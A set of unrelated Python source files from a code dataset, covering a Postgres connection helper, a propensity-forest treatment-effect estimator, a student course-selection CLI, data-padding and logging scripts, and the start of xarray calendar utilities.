+{"seq_id":"513919330","text":"\"\"\"dbconn.py\nThis file is a python api to connect to the database.\n\"\"\"\nimport psycopg2\nimport pandas as pd\n\nfrom pydb.secret import password\n\n\nDB_CONFIG = {\n 'user': 'postgres',\n 'database': 'pltracker',\n 'password': password,\n 'host': '35.199.157.96',\n 'port': 5432,\n};\n\ndef get_connection(db='pltracker'):\n \"\"\"Returns a connection to the research database.\"\"\"\n config = {k:v for k,v in DB_CONFIG.items()}\n config['database'] = db\n con = psycopg2.connect(**config)\n return con\n\ndef query(statement, con=None, params=None):\n \"\"\"Returns a dataframe that contains the results of the statement.\"\"\"\n if con is None:\n con = get_connection()\n table = pd.io.sql.read_sql(statement, con, params=params)\n return table\n\ndef run_sql_file(sql_fname, con=None):\n \"\"\"Runs a sql config file.\"\"\"\n if con is None:\n con = get_connection()\n with open(sql_fname, 'r') as f:\n sql = f.read()\n cur = con.cursor()\n cur.execute(sql)\n con.commit()\n\ndef insert(tablename, value_dict, con=None):\n \"\"\"Does an insert into tablename on cols with value_dict\n as the map for column to values.\n \"\"\"\n if con is None:\n con = get_connection()\n cur = con.cursor()\n sql = 'INSERT INTO ' + tablename + '('\n for k in value_dict:\n sql += k + ', '\n sql = sql[:-2] + ') VALUES ('\n for k in value_dict:\n sql += '%(' + k + ')s, '\n sql = sql[:-2] + ')'\n print(sql)\n try:\n cur.execute(sql, value_dict)\n except psycopg2.IntegrityError as e:\n print('Insertion failed. Error:', e)\n con.commit()\n\n","sub_path":"src/pydb/dbconn.py","file_name":"dbconn.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"571277882","text":"from lib.game import Game\nfrom lib.config import config\n\nimport offshoot\n\n\nclass SuperHexagonGame(Game):\n\n def __init__(self, **kwargs):\n kwargs[\"platform\"] = \"steam\"\n kwargs[\"app_id\"] = \"221640\"\n\n kwargs[\"window_name\"] = \"Super Hexagon\"\n kwargs[\"frame_rate\"] = config[\"SuperHexagonGamePlugin\"].get(\"frame_rate\") or 10\n\n super().__init__(**kwargs)\n\n @property\n def screen_regions(self):\n return dict(\n SPLASH_ACTIONS=(349, 260, 391, 507),\n GAME_HUD_TIME=(0, 562, 52, 768),\n GAME_PLAYER_AREA=(129, 264, 366, 513),\n DEATH_TIME_LAST=(158, 600, 207, 768)\n )","sub_path":"plugins/SuperHexagonGamePlugin/files/super_hexagon_game.py","file_name":"super_hexagon_game.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"425832743","text":"#!/usr/bin/python3\n# -*- coding: iso-8859-15 -*-\nfrom collections import defaultdict\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier\nfrom tqdm import tqdm\n\n\ndef subsample_data(covariates, responses, treatment_assignment, subsample_size=50, random_state: int=None):\n \"\"\" Draw a subsample of given size from a given dataset (samples drawn without replacement).\n Dataset is specified as `covariates` describing units of the experiment,\n corresponding `responses` and the underlying `treatment_assignment`.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n responses : np.ndarray\n Recorded responses :math:`Y_i \\in \\mathbb{R}` for each unit.\n Shape `(N,)` for `N` units.\n treatment_assignment : np.ndarray\n Treatment assignment :math:`W_i \\in \\{0, 1\\}` for each unit.\n :math:`W_i = 1` indicates that unit :math:`X_i` is part of the treatment group,\n while :math:`W_i = 1` indicates that unit :math:`X_i` is part of the control\n group.\n Shape `(N,)` for `N` units.\n subsample_size : int, optional\n Number of units to include in the subsample.\n Subsamples are drawn without replacement.\n random_state : int, RandomState instance or None, optional (default=None)\n If int, random_state is the seed used by the random number generator;\n If RandomState instance, random_state is the random number generator;\n If None, the random number generator is the RandomState instance used\n by `np.random`.\n\n Returns\n ----------\n subsample : dict\n Dictionary with keys `(\"covariates\", \"responses\", \"treatment_assigment\")`.\n Units in the subsample are drawn without replacement from the input data to\n this function.\n\n Examples\n ----------\n Drawing a subsample of size `100` from the IHDP dataset:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> train_data, experiment_index = IHDP().training_data, 0\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> subsample = subsample_data(covariates, responses, treatment_assignment, subsample_size=100)\n >>> (subsample[\"covariates\"].shape, subsample[\"responses\"].shape, subsample[\"treatment_assignment\"].shape)\n ((100, 25), (100,), (100,))\n\n \"\"\"\n\n if isinstance(random_state, int):\n stream = np.random.RandomState(seed=random_state)\n elif random_state is None:\n stream = np.random.RandomState()\n else:\n stream = random_state\n num_covariates, *_ = covariates.shape\n bootstrap_indices = stream.choice(range(0, num_covariates), size=subsample_size)\n\n return {\n \"covariates\": covariates[bootstrap_indices],\n \"responses\": responses[bootstrap_indices],\n \"treatment_assignment\": treatment_assignment[bootstrap_indices],\n }\n\n\nclass PropensityTree(DecisionTreeClassifier):\n\n def fit(self, covariates, responses, treatment_assignment):\n \"\"\" Grow a propensity tree on the given covariates and responses.\n Also collects a mapping of tree leaves to (treated/control) responses\n of training samples stored in this leaf.\n Inherits from `sklearn.DecisionTreeClassifier`, to which we defer\n all heavy lifting when growing the tree.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n responses : np.ndarray\n Recorded responses :math:`Y_i \\in \\mathbb{R}` for each unit.\n Shape `(N,)` for `N` units.\n treatment_assignment : np.ndarray\n Treatment assignment :math:`W_i \\in \\{0, 1\\}` for each unit.\n :math:`W_i = 1` indicates that unit :math:`X_i` is part of the treatment group,\n while :math:`W_i = 1` indicates that unit :math:`X_i` is part of the control\n group.\n Shape `(N,)` for `N` units.\n\n Examples\n ----------\n Growing a propensity tree on a IHDP experiment:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> train_data, experiment_index = IHDP().training_data, 0\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> tree = PropensityTree(min_samples_leaf=1, max_leaf_nodes=3)\n >>> tree.fit(covariates=covariates, responses=responses, treatment_assignment=treatment_assignment)\n PropensityTree(class_weight=None, criterion='gini', max_depth=None,\n max_features=None, max_leaf_nodes=3, min_impurity_decrease=0.0,\n min_impurity_split=None, min_samples_leaf=1, min_samples_split=2,\n min_weight_fraction_leaf=0.0, presort=False, random_state=None,\n splitter='best')\n\n \"\"\"\n super().fit(X=covariates, y=treatment_assignment)\n # leaf -> treated: [treatedresponses], [untreated]: [untreatedresponses]\n self.leaf_mapping = defaultdict(lambda: defaultdict(list))\n\n for covariate, response, treated in zip(covariates, responses, treatment_assignment):\n leaf, = self.apply(np.reshape(covariate, (1, -1)))\n if treated:\n self.leaf_mapping[leaf][\"treated\"].append(response)\n else:\n self.leaf_mapping[leaf][\"control\"].append(response)\n\n return self\n\n def predict(self, covariates):\n \"\"\" Predict treated and control response for all given covariates.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n\n Returns\n ----------\n predicted_responses : list\n List of dictionaries with keys `(\"treated_response\", \"control_response\")`.\n Each list element contains predictions for one covariate and both\n treated response and control response are predicted.\n\n Examples\n ----------\n To predict with a tree, we first need to grow one:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> ihdp = IHDP()\n >>> train_data, experiment_index = ihdp.training_data, 1\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> tree = PropensityTree(min_samples_leaf=1, max_leaf_nodes=100, random_state=1)\n >>> tree.fit(covariates=covariates, responses=responses, treatment_assignment=treatment_assignment)\n PropensityTree(class_weight=None, criterion='gini', max_depth=None,\n max_features=None, max_leaf_nodes=100, min_impurity_decrease=0.0,\n min_impurity_split=None, min_samples_leaf=1, min_samples_split=2,\n min_weight_fraction_leaf=0.0, presort=False, random_state=1,\n splitter='best')\n\n Next, we can predict on unseen data:\n\n >>> new_covariate = ihdp.test_data[\"x\"][..., experiment_index][0]\n >>> true_treated_response = ihdp.test_data[\"mu1\"][..., experiment_index][0]\n >>> true_control_response = ihdp.test_data[\"mu0\"][..., experiment_index][0]\n >>> prediction, = tree.predict(np.reshape(new_covariate, (1, -1)))\n >>> print(\"Error of treated response prediction:\", abs(true_treated_response - prediction[\"treated_response\"]))\n Error of treated response prediction: 0.27786166179064953\n >>> print(\"Error of control response prediction:\", abs(true_control_response - prediction[\"control_response\"]))\n Error of control response prediction: 0.36175754224532675\n\n \"\"\"\n def predict_covariate(covariate):\n \"\"\" Predict for a single covariate. \"\"\"\n leaf, = self.apply(np.reshape(covariate, (1, -1)))\n treated_responses = self.leaf_mapping[leaf][\"treated\"]\n control_responses = self.leaf_mapping[leaf][\"control\"]\n\n return {\n \"treated_response\": np.mean(treated_responses),\n \"control_response\": np.mean(control_responses),\n }\n\n return [predict_covariate(covariate) for covariate in covariates]\n\n\n# TODO: More docs and doctests\nclass PropensityForest(object):\n def fit(self, covariates: np.ndarray, responses: np.ndarray,\n treatment_assignment: np.ndarray, random_state: int=None,\n num_trees: int=200, subsample_size: int=100, minimum_leaf_size: int=1):\n \"\"\" Fit a propensity forest on the given covariates and responses.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n responses : np.ndarray\n Recorded responses :math:`Y_i \\in \\mathbb{R}` for each unit.\n Shape `(N,)` for `N` units.\n treatment_assignment : np.ndarray\n Treatment assignment :math:`W_i \\in \\{0, 1\\}` for each unit.\n :math:`W_i = 1` indicates that unit :math:`X_i` is part of the treatment group,\n while :math:`W_i = 1` indicates that unit :math:`X_i` is part of the control\n group.\n Shape `(N,)` for `N` units.\n random_state: int : TODO, optional\n num_trees : int, optional\n Number of trees to grow for the forest. Default: 200\n subsample_size : int, optional\n Number of datapoints to include on a subsample of data used to grow a\n single tree. Default: 100\n minimum_leaf_size: int, optional\n Minimum number of datapoints to include in a leaf of any tree.\n Default: 1\n\n Examples\n ----------\n Fit a propensity forest on IHDP. `fit` returns the forest, so that nesting calls like `forest.fit().predict()` is possible.:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> train_data, experiment_index = IHDP().training_data, 0\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> forest = PropensityForest()\n >>> type(forest.fit(covariates=covariates, responses=responses, treatment_assignment=treatment_assignment, num_trees=100, subsample_size=50, random_state=2))\n \n\n \"\"\"\n self.trees = []\n\n for tree_index in tqdm(range(num_trees), total=num_trees, position=1, desc=\"Growing Trees\"):\n seed = tree_index\n\n def sample_tree(seed):\n tree = PropensityTree(min_samples_leaf=minimum_leaf_size, max_leaf_nodes=3, random_state=random_state).fit(\n **subsample_data(\n covariates=covariates, responses=responses,\n treatment_assignment=treatment_assignment,\n subsample_size=subsample_size,\n random_state=(random_state or 0) + seed\n )\n )\n for leaf, leaf_samples in tree.leaf_mapping.items():\n num_treated_samples = leaf_samples[\"treated\"]\n num_control_samples = leaf_samples[\"control\"]\n if len(num_treated_samples) < minimum_leaf_size or \\\n len(num_control_samples) < minimum_leaf_size:\n return tree, False\n return tree, True\n tree, valid = sample_tree(seed)\n\n while not valid:\n seed += 1\n tree, valid = sample_tree(seed=seed)\n\n self.trees.append(tree)\n\n return self\n\n # TODO: Add option to additionally predict variance of those predictions\n # across trees to obtain measure of uncertainty.\n def predict(self, covariates: np.ndarray):\n \"\"\" Predict treated and control response with all trees.\n To predict treated and control response, we take the mean of the treated\n and control response prediction of all trees.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n\n Returns\n ----------\n predictions : list\n List containing a prediction for each given covariate.\n Each single prediction (one list element) is a dictionary with\n keys `(\"treated_response\", \"control_response\")` that contains predicted\n treated and control response for the corresponding covariate.\n\n Examples\n ----------\n Fit a propensity forest on IHDP and predict treated and control responses\n on the training data:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> train_data, experiment_index = IHDP().training_data, 0\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> forest = PropensityForest()\n >>> predictions = forest.fit(covariates=covariates, responses=responses, treatment_assignment=treatment_assignment, num_trees=100, subsample_size=50, random_state=2).predict(covariates=covariates)\n >>> type(predictions), len(predictions) == len(covariates)\n (, True)\n >>> type(predictions[0]), sorted(predictions[0].keys())\n (, ['control_response', 'treated_response'])\n >>> sorted(predictions[0].items())\n [('control_response', 1.6286969698665137), ('treated_response', 6.194124955315304)]\n\n \"\"\"\n predictions = []\n\n for covariate in tqdm(covariates, total=len(covariates), desc=\"Predicting\", position=2):\n tree_predictions = [\n tree.predict(np.reshape(covariate, (1, -1)))[0]\n for tree in self.trees\n ]\n predictions.append({\n \"treated_response\": np.mean([\n tree_prediction[\"treated_response\"]\n for tree_prediction in tree_predictions\n ]),\n \"control_response\": np.mean([\n tree_prediction[\"control_response\"]\n for tree_prediction in tree_predictions\n ]),\n })\n\n return predictions\n\n def predict_individualized_treatment_effect(self, covariates: np.ndarray) -> np.ndarray:\n \"\"\" Predict individualized treatment effect (ITE) for all given covariates.\n ITE :math:`\\\\tau(X_{i})` for a given covariate :math:`X_i` is defined as:\n :math:`\\\\tau(X_{i}) = Y_{i}^{(1)} - Y_{i}^{(0)}`.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n\n Returns\n ----------\n ites : np.ndarray\n Indiviudalized treatment effect of each given covariate.\n Shape: `(N,)` for `N` given covariates.\n\n Examples\n ----------\n Fit a propensity forest on IHDP and predict individualized treatment effect (ITE) on test data:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> ihdp = IHDP()\n >>> train_data, experiment_index = ihdp.training_data, 0\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> forest = PropensityForest()\n >>> _ = forest.fit(covariates=covariates, responses=responses, treatment_assignment=treatment_assignment, num_trees=100, subsample_size=50, random_state=2)\n >>> test_data = ihdp.test_data\n >>> test_covariate = test_data[\"x\"][0, ..., experiment_index]\n >>> forest.predict_individualized_treatment_effect(covariates=np.reshape(test_covariate, (1, -1)))\n array([3.51270529])\n \"\"\"\n predictions = self.predict(covariates=covariates)\n\n return np.asarray([\n treatment_effect[\"treated_response\"] - treatment_effect[\"control_response\"]\n for treatment_effect in predictions\n ])\n\n # TODO: Add mathematical definition of ATE\n def predict_average_treatment_effect(self, covariates: np.ndarray) -> float:\n \"\"\" Predict average treatment effect (ATE) over all given covariates.\n\n Parameters\n ----------\n covariates : np.ndarray\n Covariates describing units :math:`X_i` of the experiment.\n Shape: `(N, d)` for `N` units of dimensionality `d` each.\n\n Returns\n ----------\n ate : float\n\n Examples\n ----------\n Fit a propensity forest on IHDP and predict average treatment effect (ATE) on test data:\n\n >>> from experiments.datasets.ihdp import IHDP\n >>> ihdp = IHDP()\n >>> train_data, experiment_index = ihdp.training_data, 0\n >>> covariates = train_data[\"x\"][..., experiment_index]\n >>> responses = train_data[\"yf\"][..., experiment_index]\n >>> treatment_assignment = train_data[\"t\"][..., experiment_index]\n >>> forest = PropensityForest()\n >>> _ = forest.fit(covariates=covariates, responses=responses, treatment_assignment=treatment_assignment, num_trees=100, subsample_size=50, random_state=2)\n >>> test_data = ihdp.test_data\n >>> test_covariates = test_data[\"x\"][..., experiment_index]\n >>> forest.predict_average_treatment_effect(covariates=test_covariates)\n 4.052890719756025\n\n \"\"\"\n return np.mean(\n self.predict_individualized_treatment_effect(covariates=covariates)\n )\n","sub_path":"propensity_forest.py","file_name":"propensity_forest.py","file_ext":"py","file_size_in_byte":18405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"467176704","text":"employees = {'Alice' : 100000,\r\n 'Bob' : 99817,\r\n 'Carol' : 122908,\r\n 'Frank' : 88123,\r\n 'Eve' : 93121\r\n }\r\n\r\ntop_earners = []\r\n\r\nfor name, salary in employees.items():\r\n\tif salary >= 100_000:\r\n\t\ttop_earners.append((name, salary))\r\n\r\nprint(top_earners)\r\n\r\n# one liners\r\nprint([(name, salary) for name, salary in employees.items() if salary >= 100_000])","sub_path":"Python One Liners — Chrstan Mayer/Chapter 02 — Python Tricks/higheest_salary.py","file_name":"higheest_salary.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"154859026","text":"\nimport glob\nimport numpy as np\nimport math\nimport re\nimport random as rd\n\ndef pad(original_array):\n # Divide into pMHC and TCR\n pmhc = np.concatenate((original_array[original_array[:, 20] == 1], original_array[original_array[:, 21] == 1]))\n tcr = np.concatenate((original_array[original_array[:, 22] == 1], original_array[original_array[:, 23] == 1]))\n # Padding pMHC (only at the end)\n padding_size = (192 - pmhc.shape[0])\n end_pad = np.zeros((padding_size, pmhc.shape[1]))\n pmhc_padded = np.concatenate((pmhc, end_pad))\n # Padding TCR\n padding_size = (228 - tcr.shape[0]) / 2\n front_pad = np.zeros((math.floor(padding_size), tcr.shape[1]))\n end_pad = np.zeros((math.ceil(padding_size), tcr.shape[1]))\n tcr_padded = np.concatenate((front_pad, tcr, end_pad))\n # Concatanate pMHC and TCR\n array_padded = np.concatenate((pmhc_padded, tcr_padded))\n return array_padded\n\n\n# REMOVE HALF OF NEGATIVES FIRST\n\n# 20 one-hot-AA\n# 7 per_res_fa_atr, per_res_fa_rep, per_res_fa_sol, per_res_fa_elec, per_res_fa_dun, per_res_p_aa_pp, per_res_score\n# 6 foldx_MP,\tfoldx_MA,\tfoldx_MB,\tfoldx_PA,\tfoldx_PB,\tfoldx_AB\n# 4 global_complex_total_score, global_complex_fa_atr, global_complex_fa_dun, global_complex_fa_elec,\n# 3 global_complex_fa_rep, global_complex_fa_sol, global_complex_p_aa_pp,\n# 7 repeat tcr\n# 7 repeat mhc\n\none_hot = \"A,C,D,E,F,G,H,I,K,L,M,N,P,Q,R,S,T,V,W,Y,\"\nper_res = \"per_res_fa_atr, per_res_fa_rep, per_res_fa_sol, per_res_fa_elec, \" \\\n \"per_res_fa_dun, per_res_p_aa_pp, per_res_score,\"\nfoldx = \"foldx_MP,foldx_MA,foldx_MB,foldx_PA,foldx_PB,foldx_AB,\"\nglobal_complex = \"global_complex_total_score, global_complex_fa_atr, global_complex_fa_dun, global_complex_fa_elec,\" \\\n \"global_complex_fa_rep, global_complex_fa_sol, global_complex_p_aa_pp,\"\nglobal_tcr = \"global_tcr_total_score, global_tcr_fa_atr, global_tcr_fa_dun, global_tcr_fa_elec,\" \\\n \"global_tcr_fa_rep, global_tcr_fa_sol, global_tcr_p_aa_pp,\"\nglobal_pmhc = \"global_pmhc_total_score, global_pmhc_fa_atr, global_pmhc_fa_dun, global_pmhc_fa_elec,\" \\\n \"global_pmhc_fa_rep, global_pmhc_fa_sol, global_pmhc_p_aa_pp,\"\nheader = one_hot + per_res + foldx + global_complex + global_tcr + global_pmhc\n\nfor partition in range(1,6):\n print(partition)\n pos_files_in_part = glob.glob(f\"data/train_data/*{partition}p*_*pos*\")\n tenx_files_in_part = glob.glob(f\"data/train_data/*{partition}p*tenx*\")\n swap_files_in_part = glob.glob(f\"data/train_data/*{partition}p*swap*\")\n tenx_chosen_files = rd.sample(tenx_files_in_part, len(swap_files_in_part)*2)\n filelist = pos_files_in_part + tenx_chosen_files + swap_files_in_part\n partition_arr = np.empty(shape = (len(filelist), 420, 54))\n partition_labels_arr = np.empty(shape = (len(filelist)))\n i = 0\n for file in filelist:\n r = re.search(r'pos', file)\n if r:\n partition_labels_arr[i] = 1\n else:\n partition_labels_arr[i] = 0\n arr = np.load(file)\n padded_arr = pad(arr)\n new_arr = np.concatenate((padded_arr[:, 0:20],\n padded_arr[:, 24:27], padded_arr[:, [30]], padded_arr[:, 38:40], padded_arr[:, [43]],\n padded_arr[:, 64:70],\n padded_arr[:, [71]], padded_arr[:, 74:77], padded_arr[:, 79:81], padded_arr[:, [89]],\n padded_arr[:, [95]], padded_arr[:, 98:101], padded_arr[:, 103:105],\n padded_arr[:, [113]],\n padded_arr[:, [119]], padded_arr[:, 122:125], padded_arr[:, 127:129],\n padded_arr[:, [137]]), axis=1)\n partition_arr[i,:,:] = new_arr\n i += 1\n filename = f\"P{partition}_input.npz\"\n np.savez(filename, partition_arr)\n filename = f\"P{partition}_labels.npz\"\n np.savez(filename, partition_labels_arr)\n\noutfile = open(\"example.csv\", \"w\")\noutfile.write(header+\"\\n\")\nfor row in new_arr:\n string = \"\"\n for element in row:\n string += str(element)\n string += \",\"\n string += \"\\n\"\n outfile.write(string)\noutfile.close\n\nprint(file)","sub_path":"scripts/create_hackathon_dataset.py","file_name":"create_hackathon_dataset.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"98124343","text":"# 此模块保存Product package 共享变量\r\nimport numpy as np\r\nimport datetime as dt\r\nfrom Dataprocess import Znwg\r\nimport pandas as pd\r\n\r\n\r\n# 一维数组,用来保存NC文件\r\nlat = np.arange(31, 40.001, 0.01)\r\nlon = np.arange(89, 103.001, 0.01)\r\n\r\n# 二维网格,用以进行格点插值\r\nlongrid, latgrid = np.meshgrid(lon, lat)\r\n\r\n# 国家级降雨数据经纬度范围裁剪\r\n# 国家级降雨数据经纬度范围裁剪, 按照zhwg文件范围裁剪\r\nlatt = np.linspace(31.4, 39.4, 161)\r\nlonn = np.linspace(89.25, 102.95, 274)\r\n\r\n# 写入NC文件必要信息\r\nnow = dt.datetime.now()\r\nfiletime = Znwg.znwgtime().strftime('%Y%m%d%H%M')\r\nfh = range(3, 169, 3)\r\nfnames = ['_%03d' % i for i in fh]\r\n\r\n\r\n# 配置文件路径及道路文件路径\r\nwindpath = r'/home/cqkj/QHTraffic/Product/Product/Source/Road_wind.csv'\r\nroadpath = r'/home/cqkj/QHTraffic/Product/Product/Source/QHroad_update.csv'\r\ntrafficpath = r'/home/cqkj/QHTraffic/Product/Product/config/Traffic.xml'\r\nforestpath = r'/home/cqkj/QHTraffic/Product/Product/config/forest.xml'\r\n","sub_path":"QH_update/检验部分/Product/Product/glovar.py","file_name":"glovar.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"264323852","text":"__author__ = 'leif'\n\nimport os\nimport logging\n\n# create the logger once.\n\nwork_dir = os.getcwd()\nlog_file = os.path.join(work_dir, 'experiment.log')\n# create a logger by asking logging to get a logger called \"event_log\",\n# if one exists it is returned, else a new logger called \"event_log\" is created\n\nevent_logger = logging.getLogger('event_log')\n\n# set where the log is going to be written (here we use a file, could be a stream)\nevent_logger_handler = logging.FileHandler(log_file)\n\n# configure the format of the message string for the logger\nformatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n# set the formatter to the logger via a handler\nevent_logger_handler.setFormatter(formatter)\nevent_logger.addHandler(event_logger_handler)\n\n# set the level of the messages we want to log and above (DEBUG, INFO, WARNING, ERROR, CRITICAL)\nevent_logger.setLevel(logging.INFO)\n# because of the logging level this message will not appear\nevent_logger.debug(\"a debug message - level not low enough to appear in log\")\n\nevent_logger.setLevel(logging.DEBUG)\n\n# how to use externally,\n# from logger_example import event_logger\n# event_logger.info(\"an info message, perhaps to say a user issued a query\")\n\n# or once the event_log log is created you can (and should) ask for the logger by name,\n# and then log to it.\n\n# see also, https://docs.python.org/2/howto/logging.html\n# and http://victorlin.me/posts/2012/08/26/good-logging-practice-in-python\n","sub_path":"applications/slowsearch_project/slowsearch/logger_practice.py","file_name":"logger_practice.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"365651420","text":"from interface import student_interface,common_interface\nfrom lib import common\n\nuser_info = {'user':None}\n\ndef login():\n print('欢迎来到学生登录功能')\n while True:\n username = input('请输入用户名').strip()\n pwd = input('请输入密码').strip()\n flag,msg = common_interface.login_interface(username,pwd,user_type='student')\n print(msg)\n if flag:\n user_info['user'] = username\n break\n\n\ndef register():\n while True:\n print('欢迎来到学生注册功能')\n username = input('请输入用户名: ').strip()\n pwd = input('请输入密码: ').strip()\n pwd1 = input('请确认密码: ').strip()\n\n if pwd == pwd1:\n flag,msg = student_interface.register_interface(username,pwd)\n print(msg)\n if flag:\n break\n else:\n print('两次密码不一致')\n\n\n@common.login_auth('student')\ndef choose_school():\n print('欢迎来到选择学校功能')\n while True:\n # 首先获取已知学校的列表\n school_list = common_interface.get_school_interface()\n for index,school in enumerate(school_list):\n print(index,school)\n\n choice = input('请输入选择的学校编号:').strip()\n\n # 如果不是数字\n if not choice.isdigit():\n print('必须是数字!')\n continue\n choice = int(choice)\n\n if not choice in range(len(school_list)):\n print('必须输入正确的学校编号!')\n continue\n\n school_name = school_list[choice]\n\n flag,msg = student_interface.choose_school_interface(user_info['user'],school_name)\n print(msg)\n break\n\n\n@common.login_auth('student')\ndef choose_course():\n print('欢迎来到选择课程功能')\n while True:\n # 1. 获取学生下学校所有的课程\n flag, course_list_or_msg = student_interface.get_course_interface(\n user_info['user'] )\n\n if not flag:\n print(course_list_or_msg)\n break\n if not course_list_or_msg:\n print('没有课程')\n break\n\n for index,course in enumerate(course_list_or_msg):\n print(index,course)\n\n choice = input('请选择课程编号: ').strip()\n\n if not choice.isdigit():\n print('请输入纯数字!')\n continue\n\n choice = int(choice)\n\n if choice not in range(len(course_list_or_msg)):\n print('请输入正确的编号')\n continue\n\n course_name = course_list_or_msg[choice]\n\n flag,msg = student_interface.choose_course_interface(\n user_info['user'],course_name)\n print(msg)\n if flag:\n break\n\n\n\n\n@common.login_auth('student')\ndef check_score():\n print('欢迎来到查看成绩功能')\n score_dic = student_interface.check_score_interface(user_info['user'])\n print(score_dic)\n\n\n\ndef run():\n func_dict = {\n '1': register,\n '2': login,\n '3': choose_school,\n '4': choose_course,\n '5': check_score,\n }\n\n msg = '''\n 1.注册\n 2.登录\n 3.选择学校\n 4.选择课程\n 5.查看成绩\n q.退出\n '''\n\n while True:\n print('欢迎来到学生视图层')\n print(msg)\n func_choice = input('请输入你需要的功能,按q退出')\n if func_choice == 'q':\n break\n if func_choice not in func_dict:\n print('SX,功能不存在')\n continue\n func_dict[func_choice]()","sub_path":"core/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"519721656","text":"# -*- coding: utf-8 -*-\n# noqa: D205,D400\n\"\"\"\nCalendar handling utilities\n===========================\n\nHelper function to handle dates, times and different calendars with xarray.\n\"\"\"\nimport datetime as pydt\nimport re\nfrom typing import Any, Optional, Sequence, Tuple, Union\n\nimport cftime\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nfrom xarray.coding.cftime_offsets import (\n MonthBegin,\n MonthEnd,\n QuarterBegin,\n QuarterEnd,\n YearBegin,\n YearEnd,\n to_offset,\n)\nfrom xarray.coding.cftimeindex import CFTimeIndex\nfrom xarray.core.resample import DataArrayResample\n\nfrom xclim.core.utils import _calc_perc\n\n# cftime and datetime classes to use for each calendar name\ndatetime_classes = {\"default\": pydt.datetime, **cftime._cftime.DATE_TYPES}\n\n# Maximum day of year in each calendar.\nmax_doy = {\n \"default\": 366,\n \"standard\": 366,\n \"gregorian\": 366,\n \"proleptic_gregorian\": 366,\n \"julian\": 366,\n \"noleap\": 365,\n \"365_day\": 365,\n \"all_leap\": 366,\n \"366_day\": 366,\n \"360_day\": 360,\n}\n\n\ndef get_calendar(obj: Any, dim: str = \"time\") -> str:\n \"\"\"Return the calendar of an object.\n\n Parameters\n ----------\n obj : Any\n An object defining some date.\n If `obj` is an array/dataset with a datetime coordinate, use `dim` to specify its name.\n Values must have either a datetime64 dtype or a cftime dtype.\n `obj` can also be a python datetime.datetime, a cftime object or a pandas Timestamp\n or an iterable of those, in which case the calendar is inferred from the first value.\n dim : str\n Name of the coordinate to check (if `obj` is a DataArray or Dataset).\n\n Raises\n ------\n ValueError\n If no calendar could be inferred.\n\n Returns\n -------\n str\n The cftime calendar name or \"default\" when the data is using numpy's or python's datetime types.\n \"\"\"\n if isinstance(obj, (xr.DataArray, xr.Dataset)):\n if obj[dim].dtype == \"O\":\n obj = obj[dim].where(obj[dim].notnull(), drop=True)[0].item()\n elif \"datetime64\" in obj[dim].dtype.name:\n return \"default\"\n\n obj = np.take(\n obj, 0\n ) # Take zeroth element, overcome cases when arrays or lists are passed.\n if isinstance(obj, pydt.datetime): # Also covers pandas Timestamp\n return \"default\"\n if isinstance(obj, cftime.datetime):\n return obj.calendar\n\n raise ValueError(f\"Calendar could not be inferred from object of type {type(obj)}.\")\n\n\ndef convert_calendar(\n source: Union[xr.DataArray, xr.Dataset],\n target: 